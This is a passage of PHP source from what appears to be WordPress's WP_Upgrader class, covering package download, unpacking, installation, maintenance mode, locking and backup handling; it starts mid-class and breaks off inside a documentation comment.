	public $skin = null;

	/**
	 * The result of the installation.
	 *
	 * This is set by WP_Upgrader::install_package(), only when the package is installed
	 * successfully. It will then be an array, unless a WP_Error is returned by the
	 * {@see 'upgrader_post_install'} filter. In that case, the WP_Error will be assigned to
	 * it.
	 *
	 * @since 2.8.0
	 *
	 * @var array|WP_Error $result {
	 *     @type string $source             The full path to the source the files were installed from.
	 *     @type string $source_files       List of all the files in the source directory.
	 *     @type string $destination        The full path to the installation destination folder.
	 *     @type string $destination_name   The name of the destination folder, or empty if `$destination`
	 *                                      and `$local_destination` are the same.
	 *     @type string $local_destination  The full local path to the destination folder. This is usually
	 *                                      the same as `$destination`.
	 *     @type string $remote_destination The full remote path to the destination folder
	 *                                      (i.e., from `$wp_filesystem`).
	 *     @type bool   $clear_destination  Whether the destination folder was cleared.
	 * }
	 */
	public $result = array();

	/**
	 * The total number of updates being performed.
	 *
	 * Set by the bulk update methods.
	 *
	 * @since 3.0.0
	 * @var int $update_count
	 */
	public $update_count = 0;

	/**
	 * The current update if multiple updates are being performed.
	 *
	 * Used by the bulk update methods, and incremented for each update.
	 *
	 * @since 3.0.0
	 * @var int
	 */
	public $update_current = 0;

	/**
	 * Stores the list of plugins or themes added to temporary backup directory.
	 *
	 * Used by the rollback functions.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $temp_backups = array();

	/**
	 * Stores the list of plugins or themes to be restored from temporary backup directory.
	 *
	 * Used by the rollback functions.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $temp_restores = array();

	/**
	 * Construct the upgrader with a skin.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader_Skin $skin The upgrader skin to use. Default is a WP_Upgrader_Skin
	 *                               instance.
	 */
	public function __construct( $skin = null ) {
		if ( null === $skin ) {
			$this->skin = new WP_Upgrader_Skin();
		} else {
			$this->skin = $skin;
		}
	}

	/**
	 * Initializes the upgrader.
	 *
	 * This will set the relationship between the skin being used and this upgrader,
	 * and also add the generic strings to `WP_Upgrader::$strings`.
	 *
	 * Additionally, it will schedule a weekly task to clean up the temporary backup directory.
	 *
	 * @since 2.8.0
	 * @since 6.3.0 Added the `schedule_temp_backup_cleanup()` task.
	 */
	public function init() {
		$this->skin->set_upgrader( $this );
		$this->generic_strings();

		if ( ! wp_installing() ) {
			$this->schedule_temp_backup_cleanup();
		}
	}

	/**
	 * Schedules the cleanup of the temporary backup directory.
	 *
	 * @since 6.3.0
	 */
	protected function schedule_temp_backup_cleanup() {
		if ( false === wp_next_scheduled( 'wp_delete_temp_updater_backups' ) ) {
			wp_schedule_event( time(), 'weekly', 'wp_delete_temp_updater_backups' );
		}
	}

	/**
	 * Adds the generic strings to WP_Upgrader::$strings.
	 *
	 * @since 2.8.0
	 */
	public function generic_strings() {
		$this->strings['bad_request']    = __( 'Invalid data provided.' );
		$this->strings['fs_unavailable'] = __( 'Could not access filesystem.' );
		$this->strings['fs_error']       = __( 'Filesystem error.' );
		$this->strings['fs_no_root_dir'] = __( 'Unable to locate WordPress root directory.' );
		/* translators: %s: Directory name. */
		$this->strings['fs_no_content_dir'] = sprintf( __( 'Unable to locate WordPress content directory (%s).' ), 'wp-content' );
		$this->strings['fs_no_plugins_dir'] = __( 'Unable to locate WordPress plugin directory.' );
		$this->strings['fs_no_themes_dir']  = __( 'Unable to locate WordPress theme directory.' );
		/* translators: %s: Directory name. */
		$this->strings['fs_no_folder'] = __( 'Unable to locate needed folder (%s).' );

		$this->strings['download_failed']      = __( 'Download failed.' );
		$this->strings['installing_package']   = __( 'Installing the latest version&#8230;' );
		$this->strings['no_files']             = __( 'The package contains no files.' );
		$this->strings['folder_exists']        = __( 'Destination folder already exists.' );
		$this->strings['mkdir_failed']         = __( 'Could not create directory.' );
		$this->strings['incompatible_archive'] = __( 'The package could not be installed.' );
		$this->strings['files_not_writable']   = __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' );

		$this->strings['maintenance_start'] = __( 'Enabling Maintenance mode&#8230;' );
		$this->strings['maintenance_end']   = __( 'Disabling Maintenance mode&#8230;' );

		/* translators: %s: upgrade-temp-backup */
		$this->strings['temp_backup_mkdir_failed'] = sprintf( __( 'Could not create the %s directory.' ), 'upgrade-temp-backup' );
		/* translators: %s: upgrade-temp-backup */
		$this->strings['temp_backup_move_failed'] = sprintf( __( 'Could not move the old version to the %s directory.' ), 'upgrade-temp-backup' );
		/* translators: %s: The plugin or theme slug. */
		$this->strings['temp_backup_restore_failed'] = __( 'Could not restore the original version of %s.' );
		/* translators: %s: The plugin or theme slug. */
		$this->strings['temp_backup_delete_failed'] = __( 'Could not delete the temporary backup directory for %s.' );
	}

	/**
	 * Connects to the filesystem.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $directories                  Optional. Array of directories. If any of these do
	 *                                               not exist, a WP_Error object will be returned.
	 *                                               Default empty array.
	 * @param bool     $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
	 *                                               Default false.
	 * @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
	 */
	public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
		global $wp_filesystem;

		$credentials = $this->skin->request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership );
		if ( false === $credentials ) {
			return false;
		}

		if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
			$error = true;
			if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->has_errors() ) {
				$error = $wp_filesystem->errors;
			}
			// Failed to connect. Error and request again.
			$this->skin->request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
			return false;
		}

		if ( ! is_object( $wp_filesystem ) ) {
			return new WP_Error( 'fs_unavailable', $this->strings['fs_unavailable'] );
		}

		if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			return new WP_Error( 'fs_error', $this->strings['fs_error'], $wp_filesystem->errors );
		}

		foreach ( (array) $directories as $dir ) {
			switch ( $dir ) {
				case ABSPATH:
					if ( ! $wp_filesystem->abspath() ) {
						return new WP_Error( 'fs_no_root_dir', $this->strings['fs_no_root_dir'] );
					}
					break;
				case WP_CONTENT_DIR:
					if ( ! $wp_filesystem->wp_content_dir() ) {
						return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
					}
					break;
				case WP_PLUGIN_DIR:
					if ( ! $wp_filesystem->wp_plugins_dir() ) {
						return new WP_Error( 'fs_no_plugins_dir', $this->strings['fs_no_plugins_dir'] );
					}
					break;
				case get_theme_root():
					if ( ! $wp_filesystem->wp_themes_dir() ) {
						return new WP_Error( 'fs_no_themes_dir', $this->strings['fs_no_themes_dir'] );
					}
					break;
				default:
					if ( ! $wp_filesystem->find_folder( $dir ) ) {
						return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) );
					}
					break;
			}
		}
		return true;
	}

	/**
	 * Downloads a package.
	 *
	 * @since 2.8.0
	 * @since 5.2.0 Added the `$check_signatures` parameter.
	 * @since 5.5.0 Added the `$hook_extra` parameter.
	 *
	 * @param string $package          The URI of the package. If this is the full path to an
	 *                                 existing local file, it will be returned untouched.
	 * @param bool   $check_signatures Whether to validate file signatures. Default false.
	 * @param array  $hook_extra       Extra arguments to pass to the filter hooks. Default empty array.
	 * @return string|WP_Error The full path to the downloaded package file, or a WP_Error object.
	 */
	public function download_package( $package, $check_signatures = false, $hook_extra = array() ) {
		/**
		 * Filters whether to return the package.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 Added the `$hook_extra` parameter.
		 *
		 * @param bool        $reply      Whether to bail without returning the package.
		 *                                Default false.
		 * @param string      $package    The package file name.
		 * @param WP_Upgrader $upgrader   The WP_Upgrader instance.
		 * @param array       $hook_extra Extra arguments passed to hooked filters.
		 */
		$reply = apply_filters( 'upgrader_pre_download', false, $package, $this, $hook_extra );
		if ( false !== $reply ) {
			return $reply;
		}

		if ( ! preg_match( '!^(http|https|ftp)://!i', $package ) && file_exists( $package ) ) { // Local file or remote?
			return $package; // Must be a local file.
		}

		if ( empty( $package ) ) {
			return new WP_Error( 'no_package', $this->strings['no_package'] );
		}

		$this->skin->feedback( 'downloading_package', $package );

		$download_file = download_url( $package, 300, $check_signatures );

		if ( is_wp_error( $download_file ) && ! $download_file->get_error_data( 'softfail-filename' ) ) {
			return new WP_Error( 'download_failed', $this->strings['download_failed'], $download_file->get_error_message() );
		}

		return $download_file;
	}

	/**
	 * Unpacks a compressed package file.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $package        Full path to the package file.
	 * @param bool   $delete_package Optional. Whether to delete the package file after attempting
	 *                               to unpack it. Default true.
	 * @return string|WP_Error The path to the unpacked contents, or a WP_Error on failure.
	 */
	public function unpack_package( $package, $delete_package = true ) {
		global $wp_filesystem;

		$this->skin->feedback( 'unpack_package' );

		if ( ! $wp_filesystem->wp_content_dir() ) {
			return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
		}

		$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';

		// Clean up contents of upgrade directory beforehand.
		$upgrade_files = $wp_filesystem->dirlist( $upgrade_folder );
		if ( ! empty( $upgrade_files ) ) {
			foreach ( $upgrade_files as $file ) {
				$wp_filesystem->delete( $upgrade_folder . $file['name'], true );
			}
		}

		// We need a working directory - strip off any .tmp or .zip suffixes.
		$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );

		// Clean up working directory.
		if ( $wp_filesystem->is_dir( $working_dir ) ) {
			$wp_filesystem->delete( $working_dir, true );
		}

		// Unzip package to working directory.
		$result = unzip_file( $package, $working_dir );

		// Once extracted, delete the package if required.
		if ( $delete_package ) {
			unlink( $package );
		}

		if ( is_wp_error( $result ) ) {
			$wp_filesystem->delete( $working_dir, true );
			if ( 'incompatible_archive' === $result->get_error_code() ) {
				return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() );
			}
			return $result;
		}

		return $working_dir;
	}

	/**
	 * Flattens the results of WP_Filesystem_Base::dirlist() for iterating over.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @param array  $nested_files Array of files as returned by WP_Filesystem_Base::dirlist().
	 * @param string $path         Relative path to prepend to child nodes. Optional.
	 * @return array A flattened array of the $nested_files specified.
	 */
	protected function flatten_dirlist( $nested_files, $path = '' ) {
		$files = array();

		foreach ( $nested_files as $name => $details ) {
			$files[ $path . $name ] = $details;

			// Append children recursively.
			if ( ! empty( $details['files'] ) ) {
				$children = $this->flatten_dirlist( $details['files'], $path . $name . '/' );

				// Merge keeping possible numeric keys, which array_merge() will reindex from 0..n.
				$files = $files + $children;
			}
		}

		return $files;
	}

	/**
	 * Clears the directory where this item is going to be installed into.
	 *
	 * @since 4.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $remote_destination The location on the remote filesystem to be cleared.
	 * @return true|WP_Error True upon success, WP_Error on failure.
	 */
	public function clear_destination( $remote_destination ) {
		global $wp_filesystem;

		$files = $wp_filesystem->dirlist( $remote_destination, true, true );

		// False indicates that the $remote_destination doesn't exist.
		if ( false === $files ) {
			return true;
		}

		// Flatten the file list to iterate over.
		$files = $this->flatten_dirlist( $files );

		// Check all files are writable before attempting to clear the destination.
		$unwritable_files = array();

		// Check writability.
		foreach ( $files as $filename => $file_details ) {
			if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
				// Attempt to alter permissions to allow writes and try again.
				$wp_filesystem->chmod( $remote_destination . $filename, ( 'd' === $file_details['type'] ? FS_CHMOD_DIR : FS_CHMOD_FILE ) );
				if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
					$unwritable_files[] = $filename;
				}
			}
		}

		if ( ! empty( $unwritable_files ) ) {
			return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
		}

		if ( ! $wp_filesystem->delete( $remote_destination, true ) ) {
			return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
		}

		return true;
	}

	/**
	 * Install a package.
	 *
	 * Copies the contents of a package from a source directory, and installs them in
	 * a destination directory. Optionally removes the source. It can also optionally
	 * clear out the destination folder if it already exists.
	 *
	 * @since 2.8.0
	 * @since 6.2.0 Use move_dir() instead of copy_dir() when possible.
	 *
	 * @global WP_Filesystem_Base $wp_filesystem        WordPress filesystem subclass.
	 * @global array              $wp_theme_directories
	 *
	 * @param array|string $args {
	 *     Optional. Array or string of arguments for installing a package. Default empty array.
	 *
	 *     @type string $source                      Required path to the package source. Default empty.
	 *     @type string $destination                 Required path to a folder to install the package in.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the destination
	 *                                               folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files from the working directory
	 *                                               after copying them to the destination. Default false.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if
	 *                                               the destination folder already exists. Default true.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::install_package(). Default empty array.
	 * }
	 *
	 * @return array|WP_Error The result (also stored in `WP_Upgrader::$result`), or a WP_Error on failure.
	 */
	public function install_package( $args = array() ) {
		global $wp_filesystem, $wp_theme_directories;

		$defaults = array(
			'source'                      => '', // Please always pass this.
			'destination'                 => '', // ...and this.
			'clear_destination'           => false,
			'clear_working'               => false,
			'abort_if_destination_exists' => true,
			'hook_extra'                  => array(),
		);

		$args = wp_parse_args( $args, $defaults );

		// These were previously extract()'d.
		$source            = $args['source'];
		$destination       = $args['destination'];
		$clear_destination = $args['clear_destination'];

		if ( function_exists( 'set_time_limit' ) ) {
			set_time_limit( 300 );
		}

		if ( empty( $source ) || empty( $destination ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}
		$this->skin->feedback( 'installing_package' );

		/**
		 * Filters the installation response before the installation has started.
		 *
		 * Returning a value that could be evaluated as a `WP_Error` will effectively
		 * short-circuit the installation, returning that value instead.
		 *
		 * @since 2.8.0
		 *
		 * @param bool|WP_Error $response   Installation response.
		 * @param array         $hook_extra Extra arguments passed to hooked filters.
		 */
		$res = apply_filters( 'upgrader_pre_install', true, $args['hook_extra'] );

		if ( is_wp_error( $res ) ) {
			return $res;
		}

		// Retain the original source and destinations.
		$remote_source     = $args['source'];
		$local_destination = $destination;

		$source_files       = array_keys( $wp_filesystem->dirlist( $remote_source ) );
		$remote_destination = $wp_filesystem->find_folder( $local_destination );

		// Locate which directory to copy to the new folder. This is based on the actual folder holding the files.
		if ( 1 === count( $source_files ) && $wp_filesystem->is_dir( trailingslashit( $args['source'] ) . $source_files[0] . '/' ) ) {
			// Only one folder? Then we want its contents.
			$source = trailingslashit( $args['source'] ) . trailingslashit( $source_files[0] );
		} elseif ( 0 === count( $source_files ) ) {
			// There are no files?
			return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] );
		} else {
			/*
			 * It's only a single file, the upgrader will use the folder name of this file as the destination folder.
			 * Folder name is based on zip filename.
			 */
			$source = trailingslashit( $args['source'] );
		}

		/**
		 * Filters the source file location for the upgrade package.
		 *
		 * @since 2.8.0
		 * @since 4.4.0 The $hook_extra parameter became available.
		 *
		 * @param string      $source        File source location.
		 * @param string      $remote_source Remote file source location.
		 * @param WP_Upgrader $upgrader      WP_Upgrader instance.
		 * @param array       $hook_extra    Extra arguments passed to hooked filters.
		 */
		$source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this, $args['hook_extra'] );

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		if ( ! empty( $args['hook_extra']['temp_backup'] ) ) {
			$temp_backup = $this->move_to_temp_backup_dir( $args['hook_extra']['temp_backup'] );

			if ( is_wp_error( $temp_backup ) ) {
				return $temp_backup;
			}

			$this->temp_backups[] = $args['hook_extra']['temp_backup'];
		}

		// Has the source location changed? If so, we need a new source_files list.
		if ( $source !== $remote_source ) {
			$source_files = array_keys( $wp_filesystem->dirlist( $source ) );
		}

		/*
		 * Protection against deleting files in any important base directories.
		 * Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the
		 * destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
		 * to copy the directory into the directory, whilst they pass the source
		 * as the actual files to copy.
		 */
		$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' );

		if ( is_array( $wp_theme_directories ) ) {
			$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
		}

		if ( in_array( $destination, $protected_directories, true ) ) {
			$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
			$destination        = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
		}

		if ( $clear_destination ) {
			// We're going to clear the destination if there's something there.
			$this->skin->feedback( 'remove_old' );

			$removed = $this->clear_destination( $remote_destination );

			/**
			 * Filters whether the upgrader cleared the destination.
			 *
			 * @since 2.8.0
			 *
			 * @param true|WP_Error $removed            Whether the destination was cleared.
			 *                                          True upon success, WP_Error on failure.
			 * @param string        $local_destination  The local package destination.
			 * @param string        $remote_destination The remote package destination.
			 * @param array         $hook_extra         Extra arguments passed to hooked filters.
			 */
			$removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $args['hook_extra'] );

			if ( is_wp_error( $removed ) ) {
				return $removed;
			}
		} elseif ( $args['abort_if_destination_exists'] && $wp_filesystem->exists( $remote_destination ) ) {
			/*
			 * If we're not clearing the destination folder and something exists there already, bail.
			 * But first check to see if there are actually any files in the folder.
			 */
			$_files = $wp_filesystem->dirlist( $remote_destination );
			if ( ! empty( $_files ) ) {
				$wp_filesystem->delete( $remote_source, true ); // Clear out the source files.
				return new WP_Error( 'folder_exists', $this->strings['folder_exists'], $remote_destination );
			}
		}

		/*
		 * If 'clear_working' is false, the source should not be removed, so use copy_dir() instead.
		 *
		 * Partial updates, like language packs, may want to retain the destination.
		 * If the destination exists or has contents, this may be a partial update,
		 * and the destination should not be removed, so use copy_dir() instead.
		 */
		if ( $args['clear_working']
			&& (
				// Destination does not exist or has no contents.
				! $wp_filesystem->exists( $remote_destination )
				|| empty( $wp_filesystem->dirlist( $remote_destination ) )
			)
		) {
			$result = move_dir( $source, $remote_destination, true );
		} else {
			// Create destination if needed.
			if ( ! $wp_filesystem->exists( $remote_destination ) ) {
				if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
					return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination );
				}
			}
			$result = copy_dir( $source, $remote_destination );
		}

		// Clear the working directory?
		if ( $args['clear_working'] ) {
			$wp_filesystem->delete( $remote_source, true );
		}

		if ( is_wp_error( $result ) ) {
			return $result;
		}

		$destination_name = basename( str_replace( $local_destination, '', $destination ) );
		if ( '.' === $destination_name ) {
			$destination_name = '';
		}

		$this->result = compact( 'source', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination' );

		/**
		 * Filters the installation response after the installation has finished.
		 *
		 * @since 2.8.0
		 *
		 * @param bool  $response   Installation response.
		 * @param array $hook_extra Extra arguments passed to hooked filters.
		 * @param array $result     Installation result data.
		 */
		$res = apply_filters( 'upgrader_post_install', true, $args['hook_extra'], $this->result );

		if ( is_wp_error( $res ) ) {
			$this->result = $res;
			return $res;
		}

		// Bombard the calling function will all the info which we've just used.
		return $this->result;
	}

	/**
	 * Runs an upgrade/installation.
	 *
	 * Attempts to download the package (if it is not a local file), unpack it, and
	 * install it in the destination folder.
	 *
	 * @since 2.8.0
	 *
	 * @param array $options {
	 *     Array or string of arguments for upgrading/installing a package.
	 *
	 *     @type string $package                     The full path or URI of the package to install.
	 *                                               Default empty.
	 *     @type string $destination                 The full path to the destination folder.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the
	 *                                               destination folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files from the working
	 *                                               directory after copying them to the destination.
	 *                                               Default true.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if the destination
	 *                                               folder already exists. When true, `$clear_destination`
	 *                                               should be false. Default true.
	 *     @type bool   $is_multi                    Whether this run is one of multiple upgrade/installation
	 *                                               actions being performed in bulk. When true, the skin
	 *                                               WP_Upgrader::header() and WP_Upgrader::footer()
	 *                                               aren't called. Default false.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::run().
	 * }
	 * @return array|false|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
	 *                              or false if unable to connect to the filesystem.
	 */
	public function run( $options ) {

		$defaults = array(
			'package'                     => '', // Please always pass this.
			'destination'                 => '', // ...and this.
			'clear_destination'           => false,
			'clear_working'               => true,
			'abort_if_destination_exists' => true, // Abort if the destination directory exists. Pass clear_destination as false please.
			'is_multi'                    => false,
			'hook_extra'                  => array(), // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
		);

		$options = wp_parse_args( $options, $defaults );

		/**
		 * Filters the package options before running an update.
		 *
		 * See also {@see 'upgrader_process_complete'}.
		 *
		 * @since 4.3.0
		 *
		 * @param array $options {
		 *     Options used by the upgrader.
		 *
		 *     @type string $package                     Package for update.
		 *     @type string $destination                 Update location.
		 *     @type bool   $clear_destination           Clear the destination resource.
		 *     @type bool   $clear_working               Clear the working resource.
		 *     @type bool   $abort_if_destination_exists Abort if the Destination directory exists.
		 *     @type bool   $is_multi                    Whether the upgrader is running multiple times.
		 *     @type array  $hook_extra {
		 *         Extra hook arguments.
		 *
		 *         @type string $action               Type of action. Default 'update'.
		 *         @type string $type                 Type of update process. Accepts 'plugin', 'theme', or 'core'.
		 *         @type bool   $bulk                 Whether the update process is a bulk update. Default true.
		 *         @type string $plugin               Path to the plugin file relative to the plugins directory.
		 *         @type string $theme                The stylesheet or template name of the theme.
		 *         @type string $language_update_type The language pack update type. Accepts 'plugin', 'theme',
		 *                                            or 'core'.
		 *         @type object $language_update      The language pack update offer.
		 *     }
		 * }
		 */
		$options = apply_filters( 'upgrader_package_options', $options );

		if ( ! $options['is_multi'] ) { // Call $this->header separately if running multiple times.
			$this->skin->header();
		}

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, $options['destination'] ) );
		// Mainly for non-connected filesystem.
		if ( ! $res ) {
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return false;
		}

		$this->skin->before();

		if ( is_wp_error( $res ) ) {
			$this->skin->error( $res );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $res;
		}

		/*
		 * Download the package. Note: If the package is the full path
		 * to an existing local file, it will be returned untouched.
		 */
		$download = $this->download_package( $options['package'], true, $options['hook_extra'] );

		/*
		 * Allow for signature soft-fail.
		 * WARNING: This may be removed in the future.
		 */
		if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {

			// Don't output the 'no signature could be found' failure message for now.
			if ( 'signature_verification_no_signature' !== $download->get_error_code() || WP_DEBUG ) {
				// Output the failure error as a normal feedback, and not as an error.
				$this->skin->feedback( $download->get_error_message() );

				// Report this failure back to WordPress.org for debugging purposes.
				wp_version_check(
					array(
						'signature_failure_code' => $download->get_error_code(),
						'signature_failure_data' => $download->get_error_data(),
					)
				);
			}

			// Pretend this error didn't happen.
			$download = $download->get_error_data( 'softfail-filename' );
		}

		if ( is_wp_error( $download ) ) {
			$this->skin->error( $download );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $download;
		}

		$delete_package = ( $download !== $options['package'] ); // Do not delete a "local" file.

		// Unzips the file into a temporary directory.
		$working_dir = $this->unpack_package( $download, $delete_package );
		if ( is_wp_error( $working_dir ) ) {
			$this->skin->error( $working_dir );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $working_dir;
		}

		// With the given options, this installs it to the destination directory.
		$result = $this->install_package(
			array(
				'source'                      => $working_dir,
				'destination'                 => $options['destination'],
				'clear_destination'           => $options['clear_destination'],
				'abort_if_destination_exists' => $options['abort_if_destination_exists'],
				'clear_working'               => $options['clear_working'],
				'hook_extra'                  => $options['hook_extra'],
			)
		);

		/**
		 * Filters the result of WP_Upgrader::install_package().
		 *
		 * @since 5.7.0
		 *
		 * @param array|WP_Error $result     Result from WP_Upgrader::install_package().
		 * @param array          $hook_extra Extra arguments passed to hooked filters.
		 */
		$result = apply_filters( 'upgrader_install_package_result', $result, $options['hook_extra'] );

		$this->skin->set_result( $result );

		if ( is_wp_error( $result ) ) {
			if ( ! empty( $options['hook_extra']['temp_backup'] ) ) {
				$this->temp_restores[] = $options['hook_extra']['temp_backup'];

				/*
				 * Restore the backup on shutdown.
				 * Actions running on `shutdown` are immune to PHP timeouts,
				 * so in case the failure was due to a PHP timeout,
				 * it will still be able to properly restore the previous version.
				 */
				add_action( 'shutdown', array( $this, 'restore_temp_backup' ) );
			}
			$this->skin->error( $result );

			if ( ! method_exists( $this->skin, 'hide_process_failed' ) || ! $this->skin->hide_process_failed( $result ) ) {
				$this->skin->feedback( 'process_failed' );
			}
		} else {
			// Installation succeeded.
			$this->skin->feedback( 'process_success' );
		}

		$this->skin->after();

		// Clean up the backup kept in the temporary backup directory.
		if ( ! empty( $options['hook_extra']['temp_backup'] ) ) {
			// Delete the backup on `shutdown` to avoid a PHP timeout.
			add_action( 'shutdown', array( $this, 'delete_temp_backup' ), 100, 0 );
		}

		if ( ! $options['is_multi'] ) {

			/**
			 * Fires when the upgrader process is complete.
			 *
			 * See also {@see 'upgrader_package_options'}.
			 *
			 * @since 3.6.0
			 * @since 3.7.0 Added to WP_Upgrader::run().
			 * @since 4.6.0 `$translations` was added as a possible argument to `$hook_extra`.
			 *
			 * @param WP_Upgrader $upgrader   WP_Upgrader instance. In other contexts this might be a
			 *                                Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
			 * @param array       $hook_extra {
			 *     Array of bulk item update data.
			 *
			 *     @type string $action       Type of action. Default 'update'.
			 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
			 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
			 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
			 *     @type array  $themes       The theme slugs.
			 *     @type array  $translations {
			 *         Array of translations update data.
			 *
			 *         @type string $language The locale the translation is for.
			 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
			 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
			 *                                'default' for core translations.
			 *         @type string $version  The version of a theme, plugin, or core.
			 *     }
			 * }
			 */
			do_action( 'upgrader_process_complete', $this, $options['hook_extra'] );

			$this->skin->footer();
		}

		return $result;
	}

	/**
	 * Toggles maintenance mode for the site.
	 *
	 * Creates/deletes the maintenance file to enable/disable maintenance mode.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param bool $enable True to enable maintenance mode, false to disable.
	 */
	public function maintenance_mode( $enable = false ) {
		global $wp_filesystem;
		$file = $wp_filesystem->abspath() . '.maintenance';
		if ( $enable ) {
			$this->skin->feedback( 'maintenance_start' );
			// Create maintenance file to signal that we are upgrading.
			$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
			$wp_filesystem->delete( $file );
			$wp_filesystem->put_contents( $file, $maintenance_string, FS_CHMOD_FILE );
		} elseif ( ! $enable && $wp_filesystem->exists( $file ) ) {
			$this->skin->feedback( 'maintenance_end' );
			$wp_filesystem->delete( $file );
		}
	}

	/**
	 * Creates a lock using WordPress options.
	 *
	 * @since 4.5.0
	 *
	 * @global wpdb $wpdb The WordPress database abstraction object.
	 *
	 * @param string $lock_name       The name of this unique lock.
	 * @param int    $release_timeout Optional. The duration in seconds to respect an existing lock.
	 *                                Default: 1 hour.
	 * @return bool False if a lock couldn't be created or if the lock is still valid. True otherwise.
	 */
	public static function create_lock( $lock_name, $release_timeout = null ) {
		global $wpdb;
		if ( ! $release_timeout ) {
			$release_timeout = HOUR_IN_SECONDS;
		}
		$lock_option = $lock_name . '.lock';

		// Try to lock.
		$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_option, time() ) );

		if ( ! $lock_result ) {
			$lock_result = get_option( $lock_option );

			// If a lock couldn't be created, and there isn't a lock, bail.
			if ( ! $lock_result ) {
				return false;
			}

			// Check to see if the lock is still valid. If it is, bail.
			if ( $lock_result > ( time() - $release_timeout ) ) {
				return false;
			}

			// There must exist an expired lock, clear it and re-gain it.
			WP_Upgrader::release_lock( $lock_name );

			return WP_Upgrader::create_lock( $lock_name, $release_timeout );
		}

		// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
		update_option( $lock_option, time() );

		return true;
	}

	/**
	 * Releases an upgrader lock.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Upgrader::create_lock()
	 *
	 * @param string $lock_name The name of this unique lock.
	 * @return bool True if the lock was successfully released. False on failure.
	 */
	public static function release_lock( $lock_name ) {
		return delete_option( $lock_name . '.lock' );
	}

	/**
	 * Moves the plugin or theme being updated into a temporary backup directory.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $args {
	 *     Array of data for the temporary backup.
	 *
	 *     @type string $slug Plugin or theme slug.
